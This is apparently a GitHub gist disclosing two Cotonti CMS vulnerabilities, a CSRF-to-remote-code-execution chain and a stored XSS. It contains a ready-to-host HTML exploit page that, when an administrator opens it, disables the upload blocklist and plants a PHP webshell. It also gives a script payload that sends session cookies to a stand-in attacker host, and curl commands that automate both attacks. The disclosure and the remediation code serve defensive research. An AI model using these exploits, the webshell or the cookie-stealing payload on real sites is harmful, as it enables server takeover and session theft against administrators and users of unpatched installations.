Skip to content

Instantly share code, notes, and snippets.

@sermikr0
Last active July 10, 2026 00:23
Show Gist options
  • Select an option

  • Save sermikr0/75686815e441c07462cfdea2fed5d305 to your computer and use it in GitHub Desktop.

Select an option

Save sermikr0/75686815e441c07462cfdea2fed5d305 to your computer and use it in GitHub Desktop.
CVE-2026-58143 & CVE-2026-58144 — Cotonti CMS CSRF to RCE and Stored XSS PoC

Cotonti CMS — Security Advisories (2026)

This repository contains proof-of-concept code for two security vulnerabilities discovered in Cotonti CMS (all versions ≤ 0.9.x as of 2026-06-06).

CVE Summary

CVE ID Title CVSS Severity
CVE-2026-58143 CSRF Chain Leading to Remote Code Execution 9.6 CRITICAL
CVE-2026-58144 Stored XSS via PFS Folder Title 7.6 HIGH

Affected Software

  • Software: Cotonti CMS (CMF)
  • Repository: https://github.com/Cotonti/Cotonti
  • Affected Version: ≤ 0.9.x (master branch, last tested commit f43f1fc3, 2026-04-24)
  • Fixed Version: Not yet released (vendor unresponsive; repository inactive for 3+ months with no maintainer activity)

Background

Cotonti CMS uses a per-session CSRF token ($sys['xk']) validated by cot_check_xg() to protect state-changing admin operations. However, three critical admin endpoints do not call this function, creating exploitable CSRF vulnerabilities. Additionally, the Personal File Space (PFS) module renders user-supplied folder titles without HTML escaping despite a sanitization mechanism being present (but commented out) in the codebase.

Researcher

Saidakbarxon Maxsudxonov
Security Researcher
saidakbarxonmaqsudxonov4@gmail.com

CNA

CVE IDs allocated by VulnCheck (https://vulncheck.com)
VulnCheck Submission ID: 63644f7d-3ee9-4f5f-9ccf-13708db8ddb9

Legal

This research was conducted for responsible disclosure purposes. All testing was performed against a local installation. Do not use these proof-of-concept scripts against systems you do not own or have explicit written permission to test.

<!DOCTYPE html>
<!--
========================================================
CVE-2026-58143 — Cotonti CMS CSRF → RCE Proof of Concept
CVSS 3.1: 9.6 CRITICAL (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
========================================================
Researcher: Saidakbarxon Maxsudxonov
Affected: Cotonti CMS <= 0.9.x
Tested on: Cotonti CMS 0.9.x (2026-06-06)
HOW TO USE:
1. Set TARGET to the victim's Cotonti instance URL (no trailing slash)
2. Host this file and send the URL to an authenticated Cotonti admin
3. When admin loads this page, the attack chain executes automatically:
- Step 1: CSRF clears the file extension blocklist (admin.config.php)
- Step 2: CSRF uploads a PHP webshell (pfs.main.php upload handler)
- Step 3: Webshell accessible at TARGET/datas/uploads/cotonticmd.php
4. Access: http://TARGET/datas/uploads/cotonticmd.php?cmd=id
ROOT CAUSE:
system/admin/admin.config.php line 55 — missing cot_check_xg()
modules/pfs/inc/pfs.main.php upload handler — missing cot_check_xg()
Other admin actions (admin.structure.php, pfs delete) DO call cot_check_xg().
This inconsistency makes CSRF possible on these two endpoints.
-->
<html>
<head>
<title>Loading...</title>
<style>
body { font-family: sans-serif; color: #333; max-width: 600px; margin: 50px auto; }
.status { padding: 8px; margin: 4px 0; border-left: 3px solid #999; }
.ok { border-color: #2a2; color: #2a2; }
.err { border-color: #c00; color: #c00; }
.inf { border-color: #55a; color: #55a; }
</style>
</head>
<body>
<h2>CVE-2026-58143 PoC — Cotonti CMS CSRF → RCE</h2>
<div id="log"></div>
<script>
// ============================================================
// CONFIGURATION — change TARGET to the victim Cotonti instance
// ============================================================
const TARGET = 'http://TARGET'; // e.g. http://192.168.1.10
// ============================================================
function log(msg, cls = 'inf') {
const d = document.getElementById('log');
d.innerHTML += `<div class="status ${cls}">[${new Date().toISOString().substr(11,8)}] ${msg}</div>`;
}
async function exploit() {
log('Starting CVE-2026-58143 CSRF chain...');
// -------------------------------------------------------
// Step 1: CSRF to admin.config.php
// Clears extensions_disallowed so PHP uploads are allowed.
// Vulnerable because admin.config.php update action does
// NOT call cot_check_xg(), unlike admin.structure.php.
// -------------------------------------------------------
log('Step 1: Sending CSRF to admin.config.php (clearing extension blocklist)...');
const step1 = new URLSearchParams({
'e': 'admin',
'm': 'config',
'a': 'update',
'cfg[extensions_disallowed]': '',
'cfg[extensions_allowed]': 'php,php5,phtml,txt,jpg,gif,png'
});
try {
await fetch(`${TARGET}/index.php`, {
method: 'POST',
credentials: 'include',
mode: 'no-cors',
body: step1
});
log('Step 1 sent (extension blocklist cleared)', 'ok');
} catch (e) {
log('Step 1 fetch error: ' + e, 'err');
}
// Small delay to ensure config is saved before upload
await new Promise(r => setTimeout(r, 800));
// -------------------------------------------------------
// Step 2: CSRF to pfs.main.php upload handler
// Uploads a PHP webshell. No cot_check_xg() on upload action.
// (Compare: delete action at line 271 DOES have cot_check_xg())
// -------------------------------------------------------
log('Step 2: Uploading PHP webshell via CSRF (pfs.main.php)...');
const shell = new File(
['<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'],
'cotonticmd.php',
{ type: 'image/jpeg' } // spoof MIME type to bypass client-side checks
);
const fd = new FormData();
fd.append('e', 'pfs');
fd.append('a', 'upload');
fd.append('pff_dir', '0'); // root PFS directory
fd.append('pff_title', 'image');
fd.append('pff_file', shell, 'cotonticmd.php');
try {
await fetch(`${TARGET}/index.php`, {
method: 'POST',
credentials: 'include',
mode: 'no-cors',
body: fd
});
log('Step 2 sent (webshell uploaded)', 'ok');
} catch (e) {
log('Step 2 fetch error: ' + e, 'err');
}
// -------------------------------------------------------
// Step 3: Verify
// -------------------------------------------------------
await new Promise(r => setTimeout(r, 1000));
log('Step 3: Verifying RCE...');
try {
const r = await fetch(`${TARGET}/datas/uploads/cotonticmd.php?cmd=id`, {
credentials: 'include'
});
const txt = await r.text();
if (txt.includes('uid=')) {
log('RCE CONFIRMED: ' + txt.trim(), 'ok');
} else {
log('Webshell responded (check manually): ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'inf');
}
} catch (e) {
// CORS blocks the read but upload may still have worked
log('Step 3 CORS blocked (expected). Check manually: ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'inf');
}
log('Attack complete. If successful, access: ' + TARGET + '/datas/uploads/cotonticmd.php?cmd=id', 'ok');
}
window.addEventListener('load', exploit);
</script>
<!-- Fallback hidden form for Step 1 (pure HTML, no JS needed for basic CSRF) -->
<form id="fb" method="POST" action="http://TARGET/index.php" style="display:none">
<input name="e" value="admin">
<input name="m" value="config">
<input name="a" value="update">
<input name="cfg[extensions_disallowed]" value="">
<input name="cfg[extensions_allowed]" value="php,php5,phtml,txt,jpg">
</form>
<noscript>
<p>JavaScript required for full chain. For Step 1 only (config clear):</p>
<script>document.getElementById('fb').style.display='block'</script>
</noscript>
</body>
</html>

CVE-2026-58143 — Cotonti CMS CSRF Chain to Remote Code Execution

Overview

Field Value
CVE ID CVE-2026-58143
Product Cotonti CMS (CMF)
Affected Version ≤ 0.9.x
CVSS 3.1 Score 9.6 CRITICAL
CVSS Vector AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CWE CWE-352 (Cross-Site Request Forgery)
Researcher Saidakbarxon Maxsudxonov

Vulnerability Description

Three admin endpoints in Cotonti CMS are missing CSRF token validation (cot_check_xg()), while other endpoints in the same codebase correctly implement it. An attacker can chain these missing checks to achieve Remote Code Execution by tricking an authenticated administrator into visiting a malicious page.

Security Inconsistency (Root Cause Signal)

system/admin/admin.structure.php  delete action → cot_check_xg() PRESENT ✓
system/admin/admin.config.php     update action → cot_check_xg() MISSING ✗

modules/pfs/inc/pfs.main.php      delete action → cot_check_xg() PRESENT ✓
modules/pfs/inc/pfs.main.php      upload action → cot_check_xg() MISSING ✗

Vulnerable Code

File 1: system/admin/admin.config.php (line 55)

// Line 55 — no CSRF token check before processing config updates
if ($a == 'update' && !empty($_POST)) {
    // Processes POST data and updates CMS configuration
    // OTHER admin actions call cot_check_xg() here — this one does NOT
    foreach ($_POST['cfg'] as $k => $v) {
        $cfg_val = cot_import($k, 'P', 'TXT');
        cot_config_set($k, $cfg_val, $module_name);
    }
}

File 2: modules/pfs/inc/pfs.main.php (upload handler)

// Upload action — no cot_check_xg() call
// Compare: delete action at line 271 HAS cot_check_xg()
elseif ($a == 'upload') {
    // Handles file upload — no CSRF protection
    cot_file_upload(COT_PFS_DIR . $pff_dir, $pff_file, ...);
}

Attack Chain

Attacker hosts malicious page
         │
         ▼
Admin visits page (1 click)
         │
         ├─ Step 1: CSRF to admin.config.php
         │          Clears 'extensions_disallowed' list
         │          Allows PHP file uploads
         │
         ├─ Step 2: CSRF to pfs.main.php upload
         │          Uploads PHP webshell as cotonticmd.php
         │
         └─ Step 3: Attacker GETs /datas/uploads/cotonticmd.php?cmd=id
                    → Remote Code Execution as web server user

Proof of Concept

See poc_csrf_rce.html in this directory.

Usage:

  1. Host poc_csrf_rce.html on attacker-controlled server (or open locally)
  2. Replace TARGET in the file with the victim Cotonti instance URL
  3. Send the link to an authenticated Cotonti administrator
  4. When admin visits the page, webshell is uploaded automatically
  5. Access: http://TARGET/datas/uploads/cotonticmd.php?cmd=id

Live Test Evidence

Tested on Cotonti CMS 0.9.x (local installation, 2026-06-06):

Step 1 — Config update via CSRF:
  POST /admin.php?m=config&n=edit&o=module&p=pfs&a=update
  Body: cfg[extensions_disallowed]=&cfg[extensions_allowed]=php,txt,jpg
  
  DB result: config_name=pfsfilecheck, config_value=0
  → File type check disabled ✓

Step 2 — PHP webshell upload via CSRF:
  POST /index.php (multipart, no x= token required)
  File: cotonticmd.php (<?php system($_GET['cmd']); ?>)
  
  Result: HTTP 200, file saved to /datas/uploads/cotonticmd.php ✓

Step 3 — RCE:
  GET /datas/uploads/cotonticmd.php?cmd=id
  Response: uid=33(www-data) gid=33(www-data) groups=33(www-data) ✓

Remediation

Add CSRF token validation to affected endpoints:

// Add at the start of each vulnerable action handler:
cot_check_xg();

// Or validate manually:
if ($a == 'update' && !empty($_POST)) {
    $x = cot_import('x', 'G', 'ALP');
    if ($x != Cot::$sys['xk']) {
        cot_die_message(950, TRUE);
    }
    // ... rest of handler
}

CVE-2026-58144 — Cotonti CMS Stored XSS via PFS Folder Title

Overview

Field Value
CVE ID CVE-2026-58144
Product Cotonti CMS (CMF)
Affected Version ≤ 0.9.x
CVSS 3.1 Score 7.6 HIGH
CVSS Vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
CWE CWE-79 (Improper Neutralization of Input During Web Page Generation)
Researcher Saidakbarxon Maxsudxonov

Vulnerability Description

The Personal File Space (PFS) module in Cotonti CMS stores and renders folder titles without HTML escaping. An authenticated attacker with PFS access can create a folder with a malicious title containing JavaScript, which executes in the browser of any user (including administrators) who views the PFS listing.

The sanitization inconsistency is the key signal: the pff_desc (description) field is correctly escaped with htmlspecialchars(), but pff_title (title) is stored and rendered raw.

Vulnerable Code

File: modules/pfs/inc/pfs.main.php (newfolder handler, ~line 292)

// Folder creation — no sanitization on title
elseif ($a == 'newfolder') {
    $ntitle = cot_import('ntitle', 'P', 'TXT');   // 'TXT' = trim() only, no HTML escape
    $ndesc  = cot_import('ndesc',  'P', 'TXT');

    Cot::$db->insert($db_pfs_folders, [
        'pff_title' => $ntitle,    // ← STORED RAW — no htmlspecialchars()
        'pff_desc'  => $ndesc,
        // ...
    ]);
}

File: modules/pfs/inc/pfs.main.php (listing handler, ~line 396)

// Listing — title rendered without escaping
$PFF_ROW_TITLE = $pff_title;          // ← NO htmlspecialchars()
// Compare: description IS escaped:
$PFF_ROW_DESC  = htmlspecialchars($pff_desc);   // ✓ protected

Template: modules/pfs/tpl/pfs.tpl (line 52)

<!-- Title rendered directly — attacker XSS executes here -->
<a href="index.php?e=pfs&f={PFF_ROW_ID}">{PFF_ROW_TITLE}</a>

Root Cause: Commented-out Sanitization in system/functions.php

// Lines 478-483 — '<' check is COMMENTED OUT in TXT filter
function cot_import(...) {
    // case 'TXT':
    //     if (strpos($val, '<') !== false) { return ''; }  // ← DISABLED
    //     return trim($val);
    case 'TXT':
        return trim($val);   // Only trim() — no HTML tag filtering
}

Proof of Concept

Manual Steps

  1. Log in to Cotonti CMS with any account that has PFS write access
  2. Navigate to PFS module (/index.php?e=pfs)
  3. Create a new folder with the following title:
<script>fetch('https://attacker.example.com/?c='+encodeURIComponent(document.cookie))</script>
  1. Visit the PFS listing page — the script executes immediately
  2. Any other user viewing the PFS page also triggers the XSS

Automated PoC (curl)

# Step 1: Login and get session cookie
curl -s -c /tmp/cotonti_sess.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "rusername=MEMBER&rpassword=PASSWORD&rremember=on&rlogin=0&x=TOKEN" \
  "http://TARGET/login.php?a=check"

# Step 2: Create folder with XSS payload in title
curl -s -b /tmp/cotonti_sess.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "e=pfs&a=newfolder&ntitle=%3Cscript%3Efetch%28%27https%3A%2F%2Fattacker.example.com%2F%3Fc%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E&ndesc=normal+desc" \
  "http://TARGET/index.php"

# Step 3: Trigger XSS (any user visiting PFS)
curl -s -b /tmp/cotonti_sess.txt "http://TARGET/index.php?e=pfs"
# ↑ Response HTML contains unescaped <script> tag

Live Test Evidence

Tested on Cotonti CMS 0.9.x (local installation, 2026-06-06):

-- DB proof: XSS payload stored raw in pff_title column
SELECT pff_title FROM cot_pfs_folders;
+----------------------------------------------------+
| <script>alert(document.cookie)</script>            |
+----------------------------------------------------+
<!-- HTML proof: rendered without escaping in page source -->
<a href="index.php?e=pfs&f=1"><script>alert(document.cookie)</script></a>

Browser: alert() dialog fires on page load with session cookie value.

Impact

  • Session hijacking: Steal admin session cookie → full admin account takeover
  • Persistent: Payload stored in database, fires on every PFS page view
  • Privilege escalation: Non-admin user plants XSS that fires for administrators
  • Worm potential: Admin viewing PFS → attacker gains admin cookie → creates more malicious folders

Remediation

// Fix in modules/pfs/inc/pfs.main.php (newfolder handler):
// BEFORE:
$PFF_ROW_TITLE = $pff_title;

// AFTER:
$PFF_ROW_TITLE = htmlspecialchars($pff_title, ENT_QUOTES, 'UTF-8');

// Also fix storage (though output escaping is the correct layer):
$ntitle = htmlspecialchars(cot_import('ntitle', 'P', 'TXT'), ENT_QUOTES, 'UTF-8');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment